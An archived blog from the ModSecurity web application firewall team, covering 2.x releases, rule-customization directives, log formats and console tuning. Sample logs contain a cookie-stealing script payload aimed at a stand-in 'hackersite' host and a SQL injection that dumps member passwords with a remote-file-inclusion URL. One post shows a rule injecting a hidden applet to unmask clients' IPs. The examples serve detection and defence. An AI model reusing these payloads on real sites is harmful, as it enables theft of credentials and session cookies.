This blog has moved! Please update your
bookmarks to http://www.blog.modsecurity.org.

ModSecurity User Survey

Posted by rcbarnett on February 22, 2008.

With the release of ModSecurity 2.5 yesterday, this seemed like the perfect time to get feedback from the user community. The 2.5 release is important as it has included many features that were identified by the user community, so this highlights the need for us (Breach) to have a full understanding of how people are using ModSecurity and any challenges you all are facing.

With this in mind, we have put together the first ModSecurity User Survey.

I urge everyone to please take about 5 minutes and fill out the survey. With this information, we will be able to map out areas where we need to focus research and development to both the ModSecurity code itself, but also with the rule sets and supporting tools.

We will leave the survey open until the end of March.

Thanks for your time everyone.

Posted by rcbarnett at 04:12 PM

ModSecurity 2.5 Released

Posted by brectanus on February 20, 2008.

The final version of ModSecurity 2.5.0, the long awaited next stable version of ModSecurity, is now available. This release offers quite a few new features: set-based matching, a wider variety of string matching operators, transformation caching, support for writing rules as Lua scripts, credit card number validation, enhanced means for maintaining and customizing third party rulesets, and quite a few other features. Take a look at the main website to see a summary of the new features.

Getting ModSecurity

As always, send questions/comments to the community support mailing list. You can download the latest releases, view the documentation and subscribe to the mailing list at www.modsecurity.org.

Building ModSecurity 2.5

The documentation has been updated with a new build process for 2.5. The new process uses the typical 'configure', 'make' and 'make install' approach instead of having to hand edit a Makefile as in previous releases. This approach allows for a generally easy build for those with libraries in standard locations, but also some flexibility for those with unique systems. You can take a look at more details in the installation section of the documentation.

Posted by brectanus at 10:53 PM

ModSecurity 2.5 Status

Posted by brectanus on January 30, 2008.

The ModSecurity 2.5 release is scheduled for early/mid February. With the ModSecurity 2.5 release just around the bend, I have been spending my time doing a lot of testing, tweaking and polishing. I would like ModSecurity 2.5 and the core rule set (or any of the commercial rule sets Breach offers) to be easier to integrate into your environment. Ofer Shezaf and Avi Aminov are hard at work developing and tuning the core rule sets. Along with this comes requests from them for features to make integration and configuration easier. Because of this, I have included a few new features in ModSecurity 2.5 to make things easier for rule set authors. What this means is that it is time for the next release candidate of ModSecurity 2.5, 2.5.0-rc2. This release focuses primarily on making generic rule sets (such as the core rule set) easier to configure and customize for your sites.

Taming the Rule Set

ModSecurity does not give you much without a good rule set. However, good rule sets are time consuming to develop and require a lot of testing and tuning. More people benefit from a generic rule set, but these can be time consuming to customize for your sites while still allowing an easy upgrade path when new rule sets are released. For those of you who keep track of the community mailing list, you have undoubtedly seen the many false positive comments and requests for help getting generic rules to fit in a custom environment. A generic rule set will not work for everyone out of the box and will need to be tailored to fit. But tailoring can mean local modifications. And that may mean a lot of extra time spent retesting and reapplying modifications when it comes time to upgrade the rule set. Ryan Barnett has some excellent articles on how to deal with modifying a rule set in the least intrusive manner. However, I want to introduce some new functionality I have added to ModSecurity 2.5 to help deal with customizing rule sets without actually touching the rules -- making upgrades easier and require less time.

One of the biggest concerns over a generic third party rule set is that of policy. To block or not to block, that is the question. Some installers preferred just logging, others blocking via HTTP 403, some via HTTP 500, others preferred dropping the connection altogether with a TCP reset. In past versions of ModSecurity, this usually meant rule set authors had to include two versions of their rules, one for logging only and another for blocking. If this was not done, then the rule set installer would have to manually change all the actions in a rule set if not to the installer's liking. With ModSecurity 2.5, this blocking decision can now more easily be that of the rule set installer instead of the rule set author.

A new "block" action has been added to ModSecurity 2.5 to allow a rule set to specify where blocking is intended, but not actually specifying how to perform the blocking. The how is left up to the rule set installer, including the choice of not blocking at all. Currently this is done via inheritance (existing SecDefaultAction directive), but is also enhanced via the new SecRuleUpdateActionById directive. Future versions of ModSecurity will make this even more flexible.

Take the following rule set as an example. This will deny and log any request not a GET, POST or HEAD. So, things like PUT, TRACE, etc. will be denied with an HTTP 500 status even though the installer specified a default of "pass".

# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "phase:1,t:none,deny,status:500"

With the new "block" action, this could be rewritten as in the following example. In this example the blocking action is, well, not to block ("pass" specified in the SecDefaultAction). This could easily be changed by the installer to "deny,status:501", "drop", "redirect:http://www.example.tld/", etc. The important thing to note here is that the installer is making the choice, not the rule set author.

# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "phase:1,t:none,block"

So now some of you are (or maybe should be) questioning how this new "block" action differs from just not explicitly specifying a disruptive action in the rule to begin with and just letting the inheritance work as designed. Well, there is not really that much different at first glance. The named action is a little bit cleaner to read, but there are really two main differences. The first is that future versions of ModSecurity can expand on how you define and customize "block" in more detail. The second reason lies in what "block" is doing. It is explicitly reverting back to the default disruptive action, which leads into the next new feature.

Let me start off with another example (okay, it is the same example, but it is easy to follow). Below, there is no way to change the disruptive action other than editing the third party rule in place or replacing the rule with a local copy. The latter is better for maintenance, but it means keeping a local copy of the rule around which may require maintenance during a rule set upgrade.

# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Replace with a local copy of the rule
SecRuleRemoveById 1
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,pass"

With ModSecurity 2.5, you can instead update the action to make it do something else. This is done via the new SecRuleUpdateActionById directive. It has the added benefit where if the third party rule set is upgraded later on (provided the id is the same, which it should be - hint) there is no editing required for the local copy of the customization. In fact, there is no local copy to edit at all.

# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Update the default action explicitly
SecRuleUpdateActionById 1 "pass"

You should notice in the last example that what I did was to change the third party rule back to what I originally specified in the SecDefaultAction. If only there was a way to just tell the rule to use the default. This is where the second reason for "block" comes into play (thought I forgot about that, eh). Instead of explicitly specifying the disruptive action, you can just specify it as "block" and it will instead force the rule to revert back to the last default action. In this example that is a "pass". This is just as if the rule author had specified "block" instead of "deny".

# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Revert the rule back to the default disruptive action, "pass"
SecRuleUpdateActionById 1 "block"

The new SecRuleUpdateActionById directive is not limited to only disruptive actions. You can update nearly any action. The only imposed limit is that you may not change the ID of a rule. However, some care should be taken for actions that are additive (transformations, ctl, setvar, etc.) as these actions are not replaced, but appended to. For transformations, however, you can "replace" the entire transformation chain by specifying "t:none" as the first transformation in the update (just as you would when inheriting from SecDefaultAction).

New Build Method and Automated Tests

Another big change in this release is the build process. ModSecurity 2.5 is now built with a more automated method. No more editing a Makefile. Instead, a configure script was added to automate the creation of a Makefile by searching for the location of all dependencies. Additionally, I added a number of automated tests to ensure operators and transformations are working as expected (executed via "make test").

# Typical build proceedure is now:
./configure
make
make test
sudo make install

Other Notable Changes in this Release

There are a few other minor additions and changes in this second release candidate as well.

How You Can Help

As you can see there are a lot of new features and enhancements in ModSecurity 2.5. I hope to see some good feedback from the release candidates so that we can get ModSecurity 2.5 polished up and the stable 2.5.0 available as soon as possible. Installing and testing in your environment is a great help, but there are other ways you can help.

Getting ModSecurity

As always, send questions/comments to the community support mailing list. You can download the latest releases, view the documentation and subscribe to the mailing list at www.modsecurity.org.

Posted by brectanus at 11:14 AM

Content Injection Use Case Example

Posted by rcbarnett on January 25, 2008.

ModSecurity 2.5 introduces a really cool, yet somewhat obscure feature called Content Injection. The concept is pretty interesting as it allows you to inject any text data that you want into the response bodies of your web application.

Identifying Real IP Addresses of Web Attackers

One of the biggest challenges of doing incident response during web attacks is to try and trace back the source IP address information to identify the "real" attacker's computer. The reason why this is so challenging is that attackers almost always loop their attacks through numerous open proxy servers or other compromised hosts where they setup connection tunnels. This means that the actual IP address that shows up in the victims logs is most likely only the last hop in between the attacker and the target site. One way to try and tackle this problem is instead of relying on the TCP-IP address information of the connection, we attempt to handle this at the HTTP layer.

Web security researches (such as Jeremiah Grossman) have conducted quite a bit research in area of how blackhats can send malicious javascript/java to clients. Once the code executes, it can obtain the client's real (internal NAT) IP address. With this information, the javascript code can do all sorts of interesting stuff such as port scan the internal network. In our scenario, the client is not an innocent victim but instead a malicious client who is attacking our site. The idea is that this code that we send to the client will execute locally, grab their real IP address and then post the data back to a URL location on our site. With this data, we can then perhaps initiate a brand new incident response engagement focusing in on the actual origin of the attacks!

The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.

SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0>
<PARAM NAME=\"URL\" VALUE=\"grab_ip.php?IP=\">
<PARAM NAME=\"ACTION\" VALUE=\"AUTO\"></APPLET>'" 
SecRule RESPONSE_CONTENT_TYPE "^text/html"

So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:

203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=<script>document.write('<img%20
src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 
203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=222.141.50.175 HTTP/1.1" 404 207

As you can see, even though the IP address in the access_logs shows 203.160.1.47, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 222.141.50.175. This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet). In this case, you would be able to obtain the actual IP of an attacker who was conducting a manual attack with a browser.

Attacker -> Proxy -> ... -> Proxy -> Target Website.
    ^                         ^
222.141.50.175           203.160.1.47

Caveats

Internal LAN

This example is extremely experimental. As the previous section indicates, if the attacker were behind a router (on a private LAN) then the address range would have probably been in the 192.169.xxx.xxx range. 

Attacker -> Firewall/Router -> ... -> Proxy -> Target Website.
    ^                                   ^
192.168.1.100                      203.160.1.47

This type of data would not be as useful for our purposes as it wouldn't help for a traceback.

Non-Browser Clients

Since a majority of web attacks are automated, odds are that the application that is sending the exploit payload is not actually a browser but rather some sort of scripting client. This would mean that the javascript/java code would not actually execute.

Conclusion

Hopefully you can now see the potential power of the content injection capability in ModSecurity. The goal of this post was to get you thinking about the possibilities. For other ideas on the interesting types of javascript that we could inject, check out PDP's AttackAPI Atom database. ModSecurity will eventually expand this functionality to allow for injecting content at specific locations of a response body instead of just at the beginnin or at the end.

Posted by rcbarnett at 10:59 PM

ModSecurity Data Formats

Posted by ivanr on January 10, 2008.

I have just added a new section to the ModSecurity v2.5 Reference Manual, describing the data formats we use. Nothing spectacular, I know, but it is always nice when things get written down.

Alerts

Below is an example of a ModSecurity alert entry. It is always contained on a single line but we've broken it here into multiple lines for readability.

Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version
is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
"PQaTTVBEUOkAAFwKXrYAAAAM"]

Each alert entry begins with the engine message:

Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required.

The engine message consists of two parts. The first part tells you whether ModSecurity acted to interrupt transaction or rule processing. If it did nothing the first part of the message will simply say "Warning". If an action was taken then one of the following messages will be used:

The second part of the engine message explains why the event was generated. Since it is automatically generated from the rules it will be very technical in nature talking about operators and their parameters and give you insight into what the rule looked like. But this message cannot give you insight into the reasoning behind the rule. A well-written rule will always specify a human-readable message (using the msg action) to provide further clarification.
The metadata fields are always placed at the end of the alert entry. Each metadata field is a text fragment that consists of an open bracket followed by the metadata field name, followed by the value and the closing bracket. What follows is the text fragment that makes up the id metadata field.

[id "960034"]

The following metadata fields are currently used:

  1. id - Unique rule ID, as specified by the id action.
  2. rev - Rule revision, as specified by the rev action.
  3. msg - Human-readable message, as specified by the msg action.
  4. severity - Event severity, as specified by the severity action.
  5. unique_id - Unique event ID, generated automatically.
  6. uri - Request URI.
  7. logdata - contains transaction data fragment, as specified by the logdata action.

Alerts in Apache

Every ModSecurity alert conforms to the following format when it appears in the Apache error log:

[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] ModSecurity: ALERT_MESSAGE

The above is a standard Apache error log format. The "ModSecurity:" prefix is specific to ModSecurity. It is used to allow quick identification of ModSecurity alert messages when they appear in the same file next to other Apache messages.
The actual message (ALERT_MESSAGE in the example above) is in the same format as described in the Alerts section.

Alerts in Audit Log

Alerts are transported in the H section of the ModSecurity Audit Log. Alerts will appear each on a separate line and in the order they were generated by ModSecurity. Each line will be in the following format:

Message: ALERT_MESSAGE

Below is an example of an entire H section (followed by the Z section terminator):

--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
 [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
 ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
 (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
 [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
  
--c7036611-Z--

Audit Log

ModSecurity records one transaction in a single audit log file. Below is an example:

--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),
 password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from
 /**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
 HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.example.com
User-Agent: libwww-perl/5.808
  
--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
  
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
 [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
 ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
 (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
 [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
 File does not exist: /var/www/EvilBoard_0.1a
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
  
--c7036611-Z--

The file consist of multiple sections, each in different format. Separators are used to define sections:

--c7036611-A--

A separator always begins on a new line and conforms to the following format:

  1. Two dashes at the beginning.
  2. Unique boundary, which consists from several hexadecimal characters.
  3. One dash character.
  4. Section identifier, currently a single uppercase letter.
  5. Two trailing dashes at the end.

Refer to the documentation for SecAuditLogParts for the explanation of each part.

Posted by ivanr at 01:03 PM

Speaking About ModSecurity at ApacheCon Europe 2008

Posted by ivanr on January 08, 2008.

I will be speaking about ModSecurity at ApacheCon Europe in Amsterdam later this year. I hear ApacheCon Europe 2007 (also in Amsterdam) was great so I am looking forward to participating this year. Interestingly, for some reason or another, this will be the first time ModSecurity will be "officially" presented to the Apache crowd, in spite of the fact we've been going at it for years. As always, the best part is meeting the people you've been communicating with for years.

"Intrusion detection is a well-known network security technique -- it introduces monitoring and correlation devices to networks, enabling administrators to monitor events and detect attacks and anomalies in real-time. Web intrusion detection does the same but it works on the HTTP level, making it suitable to deal with security issues in web applications. This session will start with an overview of web intrusion detection and web application firewalls, discussing where they belong in the overall protection strategy. The second part of the talk will discuss ModSecurity and its capabilities. ModSecurity is an open source web application firewall that can be deployed either embedded (in the Apache HTTP server) or as a network gateway (as part of a reverse proxy deployment). Now in its fifth year of development, ModSecurity is mature, robust and flexible. Due to its popularity and wide usage it is now positioned as a de-facto standard in the web intrusion detection space."

Posted by ivanr at 01:09 PM

Initial Release Candidate for ModSecurity 2.5.0 (2.5.0-rc1)

Posted by brectanus on December 21, 2007.

The first release candidate for the ModSecurity 2.5 release is now available. It has been a while since the last development release, so I wanted to go over the new features and enhancements that ModSecurity 2.5 brings. For the full documentation, go to www.modsecurity.org/documentation

New Features

Numerous features have been added to ModSecurity 2.5.

Experimental Lua Scripting Support

You can now write ModSecurity rules as Lua scripts! Lua can also be used as an @exec target as well as with @inspectFile. This feature should be considered experimental and the interface to it may change as we get more feedback. Go to www.lua.org for more information.

ModSecurity:
SecRuleScript /path/to/script.lua [ACTIONS]
Lua Script:
function main()
    -- Retrieve script parameters.
    local d = m.getvars("ARGS", { "lowercase", "htmlEntityDecode" } );
     -- Loop through the parameters.
    for i = 1, #d do
        -- Examine parameter value.
        if (string.find(d[i].value, "<script")) then
            -- Always specify the name of the variable where the
            -- problem is located in the error message.
            return ("Suspected XSS in variable " .. d[i].name .. ".");
        end
    end
     -- Nothing wrong found.
    return null;
end

Efficient Phrase Matching

Large lists of spam keywords can be a performance bottleneck and tough to manage. An efficient phrase matching operator is now supported to make this faster and easier (@pm and @pmFromFile). See my last development release blog entry for more details. www.modsecurity.org/blog/archives/2007/06/another_modsecu.html

String Matching Operators

Some string matching operators are now supported where regular expression matching is not required (@contains, @containsWord, @streq, @beginsWith and @endsWith, @within). These operators also support expansion of variables so that you can accomplish more complex matching such as "@streq %{REMOTE_ADDR}".

Geographical Lookups

You can now lookup and act on geographical information from an IP address. The GEO collection will extract the Country, Region, City, Postal Code, Coordinates as well as DMA and Area codes in the US.

SecRule REMOTE_ADDR "@geoLookup" "chain,drop,msg:'Non-UK IP address'"
SecRule GEO:COUNTRY_CODE "!@streq UK"

Transformations

More transformations are now supported (t:trimLeft, t:trimRight, t:trim, t:jsDecode). These transformations are now cached so that they do not have to be reapplied for each rule, reducing overhead.

Variables

New variables were added. You can now easily differentiate between a GET and POST argument (ARGS_GET, ARGS_POST, ARGS_GET_NAMES, ARGS_POST_NAMES) as well as determine what was previously matched (MATCHED_VAR_NAME, MATCHED_VAR, TX_SEVERITY).

Actions

New actions allow for easier logging of raw data (logdata), easier rule flow by skipping after a given rule/marker instead of by a rule count (skipAfter and SecMarker) and allow for more flexible rule exceptions based on any ModSecurity variable (ctl:ruleRemoveById). Additionally, the "allow" action has been made more flexible by allowing you to specify allowing the request for only the current phase (the old default), for only the request portion or for both the request and response portions (the new default).

Enhancements

Along with all the new ModSecurity 2.5 features, many existing features have been enhanced.

Processing Partial Bodies

In previous releases, ModSecurity would deny a request if the response body was over the limit. It is now configurable to allow processing of the partial body (SecResponseBodyLimitAction). Additionally, request body sizes can now be controled without including the size of uploaded files (SecRequestBodyNoFilesLimit).

Better support for 64-bit OSes

ModSecurity now compiles cleanly on Solaris 10 and other 64-bit operating systems. As Apache (and thus MosDecurity) runs on such a wide variety of OSes, I am asking that you help provide feedback to any portability issues that may arise.

Logging

There have been numerous enhancements to both auditing and debug logging.

Matched Rules Audited

A new audit log part, K, is now available. Every rule that matched will be logged to this section of the audit log (one per line) if enabled. This enhances auditing, helps determine why an alert was generated as well as helps to track down any false positives that may occur.

Component Signatures Audited

ModSecurity is becoming more modular. To better manage external components (rulesets, operators, etc.), each component can add to the signature line logged in the audit log (SecComponentSignature). This allows for better auditing of components and their versions.

Redundant Audit Logs

To add redundancy, you can now send audit logs to two locations simultaneously (SecAuditLog2).

Enhanced Debugging

The debug log now includes more information on an executing rule. The ruleset filename, line number and the full rule itself are now logged to the debug log.

Migration

To help support migration from ModSecurity 2.1 to 2.5, you can now use the Apache <IfDefine> directive to exclude 2.5 specific rules and directives.

<IfDefine MODSEC_2.5>
    SecAuditLogParts ABCDEFGHIKZ
</IfDefine>
<IfDefine !MODSEC_2.5>
    SecAuditLogParts ABCDEFGHIZ
</IfDefine>

Feedback

As you can see there are a lot of new features and enhancements in ModSecurity 2.5. I hope to see some good feedback from the release candidates so that we can get ModSecurity 2.5 polished up and the stable 2.5.0 available as soon as possible.

As always, send questions/comments to the community support mailing list. You can download the latest releases, view the documentation and subscribe to the mailing list at www.modsecurity.org.

Posted by brectanus at 08:32 PM

ModSecurity 2.1.4 Now Available

Posted by brectanus on November 29, 2007.

ModSecurity 2.1.4 is the latest stable release of ModSecurity. The 2.1.4 release includes an updated version (1.5) of the Core Rules. This release also contains some fixes to multi-part form request handling as well as enhancements to allow better integration with other Apache httpd modules that use sub-requests.

Fixes to Multi-part Form Request Handling

The evasion detection built into the multi-part form parser was made more flexible to lessen false positives when used with some browsers to upload files. Additionally, the parser was enhanced to reduce false positives in detecting evasion attempts within the data portions of the request body.

Enhancements for Integration with Other Modules

ModSecurity no longer inspects sub-requests generated by Apache httpd modules. Sub-request inspection has proven to introduce some instability when certain combinations of modules and compilers are used and can no longer be supported.

See the CHANGES file within the distribution for a full list of changes.

As always, send questions/comments to the community support mailing list. You can download the latest releases, view the documentation and subscribe to the mailing list at www.modsecurity.org.

Posted by brectanus at 07:24 PM

Installling ModSecurity

Posted by ofer on November 07, 2007.

ModSecurity is a really powerful beast. It can do anything you want, at least when what you want concerns protecting your web applications. But you need to know how to tell it what you want, and this is not trivial at times. This is why I like the Core Rule Set; it is designed to provide as much security as possible without requiring the user to tell ModSecurity exactly what to do.

But many are stuck before they even reach this stage and can’t get ModSecurity running. Luckily since many people run ModSecurity, someone will always know how to make ModSecurity run on your platform, whether it is Solaris on Sparc or a Mac, and you can find most of the on the ModSecurity mailing list. Just recently I found two nice write-ups about installing ModSecurity on different flavors of Linux which I though you will find useful: 

If you want to share your ModSecurity installation tips on a specific platform, just drop me a work and I will add it to this blog entry.

Posted by ofer at 10:01 AM

ModSecurity Training at OWASP/WASC AppSec 2007

Posted by rcbarnett on October 18, 2007.

I am very excited to announce that I will be instructing a live 2-day ModSecurity Training class at the upcoming OWASP/WASC AppSec 2007 Conference in San Jose, CA on Nov. 12-13. Please see the website for a complete listing of the course agenda and for the registration info.

I hope that you will come and join us for this unique training opportunity. We will have some interesting hands-on labs and the opportunity to discuss complex web security issues and how you can use ModSecurity to help mitigate them.

As an additional bonus, Ivan Ristic will also be in attendance for portions of the class. So, if you ever wanted a chance to learn more about ModSecurity and to pick the brains of the ModSecurity experts, this is your chance :)

I hope to see you all there.

Posted by rcbarnett at 12:11 AM

ModSecurity 2.1.3 Now Available

Posted by brectanus on September 12, 2007.

ModSecurity 2.1.3 is the latest stable release of ModSecurity. The 2.1.3 release contains some enhancements to multipart form request handling as well as fixes for using custom error documents, using ModSecurity behind a proxy and using ModSecurity on older platforms.

Enhancements to Multipart Form Request Handling

The multipart form request parsing code was updated and variables were added to allow checking for various parsing issues (request body abnormalities). This allows for checking the format of multipart form data submitted by the client. If the parser notices an abnormality, then the MULTIPART_STRICT_ERROR variable will be set. Even more granularity can be checked by looking at other MULTIPART_* variables. See the doumentation on the MULTIPART_STRICT_ERROR variable for further information and a usage example.

Fixed Custom Error Documents

There was a regression in 2.1.2 that was causing custom error document requests which used an internal redirect to be blocked by ModSecurity if ModSecurity had previously blocked the request. In the 2.1.3 release, error documents via internal redirects are allowed and the ErrorDocument Apache directive can again be used to serve a custom error document for ModSecurity blocked requests.

Fixed Issue Running ModSecurity Pehind a Proxy

There are two popular Apache modules -- mod_rpaf and mod_extract_forwarded2 -- that can be used to set the REMOTE_ADDR variable based on the X-Forwarded-For HTTP header when running behind a proxy. These modules were not completely working with ModSecurity as they were being enabled after ModSecurity rule processing. This has been fixed in the 2.1.3 release by forcing these two modules to run prior to ModSecurity.

Fixed Potential Issue with ModSecurity on Older Platforms

ModSecurity has an external API that can be used to extend ModSecurity by adding additional operators, actions and variables. The API code is not compatible with some combinations of older versions of Apache and/or older versions of the APR library when compiled with an older version of gcc. ModSecurity can now be compiled with NO_MODSEC_API defined so that it can be used on these older platforms. This is done by adding -DNO_MODSEC_API to the DEFS variable in the Makefile. This option may be required to use ModSecurity against the IBM WebSphere HTTP Server (IBM_HTTP_Server/6.0).

See the CHANGES file within the distribution for a full list of changes.

As always, send questions/comments to the community support mailing list. You can download the latest releases, view the documentation and subscribe to the mailing list at www.modsecurity.org.

Posted by brectanus at 05:19 PM

ModSecurity 2.1.2 Released

Posted by brectanus on August 06, 2007.

Today I released ModSecurity 2.1.2. This is the latest stable release of ModSecurity. The 2.1.2 release contains several small updates. Users are encouraged to upgrade.

Notable changes as follows:

As always, send questions/comments to the user mailing list. You can get the latest release, documentation and subscribe to the user mailing list from the ModSecurity web site, http://www.modsecurity.org. See the CHANGES file in the distribution for a full list of changes.

Posted by brectanus at 04:00 PM

Another ModSecurity Development Release

Posted by brectanus on June 27, 2007.

Last week I released the second ModSecurity development release, 2.5.0-dev2, in preparation for the next version of ModSecurity. Some may notice that this version is now 2.5.x where as the first development release was 2.2.x. Ivan and I decided that because of the large feature sets going into this next release we would bump the version to 2.5.x to signify a halfway point to 3.0.0. This release is primarily a performance enhancement release, so I want to introduce two of the main new features in more detail.

In this release, I have introduced a phrase matching operator (@pm) to match against a list of phrases. The new operator uses the Aho-Corasick algorithm and is many times faster than the default regular expression operator (@rx) for lists of OR'd phrases. For example, if you want to accept only GET, POST and HEAD requests the following rules are equivalent, but the second is faster (even more so as the list grows):

SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" t:none,deny
SecRule REQUEST_METHOD "!@pm GET POST HEAD" t:none,deny

The new @pm operator should be used for static lists of phrases (black/white lists, spam keywords, etc). However, for large lists, this new operator may cause the rule to become difficult to read and maintain. If your lists are large, you can use an alternate form (@pmFromFile) that accepts a list of files and place the phrases into a file or multiple files (one per line) instead of inline. In this form, the phrase file(s) will be read on startup. To allow for easy inclusion of third party phrase lists, if the filename is given with a relative path, then ModSecurity will look for it starting in the same directory as the file that contains the rule specifying the file. For example:

SecRule REQUEST_METHOD "!@pmFromFile allowed_methods.txt" t:none,deny

### And in allowed_methods.txt in the same directory:
GET
POST
HEAD

Another performance enhancement (that is still being tuned) is transformations are now cached for each transaction. With previous versions of ModSecurity, the transformations for each rule were applied in the order specified to the original value. This was done for every variable in every rule. Starting with ModSecurity 2.5.0-dev2, transformations will only be performed once for each transaction. If more than one rule uses the same transformed value, then the cached value is used instead of reapplying the transformations.

As always, the source code is available in the download section of the ModSecurity Website. Below is an outline of the new features and changes in this release so far. Please see the documentation included in the release for full details and usage examples. Please direct any comments to the ModSecurity User Support mailing list.

Major Changes Since Version 2.1.1

2.5.0-dev2
2.2.0-dev1

Posted by brectanus at 03:14 PM

Managing ModSecurity Alerts: More Console Tuning

Posted by rcbarnett on June 22, 2007.

In a previous Blog entry, I outlined a number of steps that you could take to increase performance of the ModSecurity open source Console. While these tuning steps will certainly help to increase performance, there is still one big issue that will bring the open source Console to its knees - too many open/active alerts in the Alert Management interface (where the URL is - http://ip_of_your_console:8886/viewAlerts). Having too many open alerts will chew up the available memory for the MUI and it will become unresponsive.

If you are in the scenario where you already have too many active alerts and the MUI is totally non-responsive, you may have to try and bypass the MUI and instead use the Java Derby DB client to interact directly with the DB listener and close the active alerts.

Removing Too Many Existing Alerts from the MUI

Here are the steps:


  1. Stop the currently running console with - 
    # ./modsecurity-console stop

    You should then check the "ps" output to ensure that the Java process is not hanging. If it is, you may need to either re-execute that command or issue a kill command to that specific process number.

  2. Enable remote access to the database by editing console.conf and changing the startNetworkServer setting to "true". You will need to use the same username/password when connecting later with the Derby client.

    <Service derby com.thinkingstone.juggler.components.DerbyServer>
    Property password "XXXXX"
    Property startNetworkServer "true"
    Property host "0.0.0.0"
    Property username "XXXXX"
    Property port "1527"
</Service>

  3. Restart the console with -
    # ./modsecurity-console start

  4. Verify that the DB listener is up and running on port 1527 with -
    # netstat -nlp | grep 1527

  5. CD into the modsecurity-console/lib/ directory and then start the
    java commandline utility like this -
    java -classpath derbyclient.jar:derbytools.jar -Dij.driver='org.apache.derby.jdbc.ClientDriver' org.apache.derby.tools.ij

  6. Connect to the Derby DB like this (make sure to substitute your Host:port and username/password info) -
    connect 'jdbc:derby://HOST:PORT/consoleDb;username=USER;password=PASS';

  7. To close all open active alerts -
    UPDATE alerts SET alert_status = 'CLOSED' WHERE alert_status = 'OPEN';

  8. Then restart the modsecurity-console -
    # ./modsecurity-console start

  9. Attempt to access the MUI

Is There A Better Way To Manage Alerts?

If you are becoming frustrated with the performance of the open source Console and/or if you have more then 3 ModSecurity sensors to manage, you may want to consider taking a look at Breach's commercial ModSecurity Management Appliance that was just recently made available. It has many significant performance increases and is an enterprise class solution (it can manage up to 50 ModSecurity Sensors).

Posted by rcbarnett at 03:08 PM

ModSecurity 2.2.0 Development Releases

Posted by brectanus on May 14, 2007.

Hello all. As this is my first official blog entry, let me first start off with a short introduction...

